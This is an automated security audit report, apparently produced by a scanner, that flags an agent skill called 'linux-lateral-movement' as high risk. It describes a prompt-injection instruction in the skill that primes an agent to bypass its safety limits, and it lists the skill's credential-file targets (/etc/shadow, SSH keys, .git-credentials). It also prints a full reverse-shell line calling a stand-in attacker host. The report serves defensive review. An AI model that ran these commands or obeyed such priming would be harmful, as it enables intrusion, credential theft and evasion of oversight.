linux-lateral-movement
Fail
Audited by Gen Agent Trust Hub on Nov 9, 2026
Risk Level: HIGHPROMPT_INJECTIONCREDENTIALS_UNSAFEREMOTE_CODE_EXECUTIONPRIVILEGE_ESCALATIONPERSISTENCEDATA_EXFILTRATIONCOMMAND_EXECUTION
Full Analysis
- [PROMPT_INJECTION]: In
SKILL.md, the instructions use 'AI LOAD INSTRUCTION' to prime the agent to bypass standard safety limitations and act as an expert in lateral movement attacks. - [CREDENTIALS_UNSAFE]: The skill provides commands to locate and read sensitive files such as
/etc/shadow, private SSH keys, and application-specific credential files like.pgpassand.git-credentials. - [REMOTE_CODE_EXECUTION]: A reverse shell payload (
bash -i >& /dev/tcp/ATTACKER/4444 0>&1) is provided in the systemd manipulation section for establishing remote command and control. - [PRIVILEGE_ESCALATION]: Includes techniques for hijacking valid sudo sessions via ptrace and exploiting D-Bus services to perform administrative actions without proper authorization.
- [PERSISTENCE]: Instructions cover maintaining access through the injection of public keys into
authorized_keysand the creation of malicious systemd services. - [DATA_EXFILTRATION]: Details various networking techniques for pivoting and exfiltrating data, including the setup of SSH tunnels, SOCKS proxies, and remote port forwarding.
- [COMMAND_EXECUTION]: Features extensive bash-based discovery scripts for internal network scanning, port sweeping, and environment variable harvesting to identify further targets.
Recommendations
- AI detected serious security threats
Audit Metadata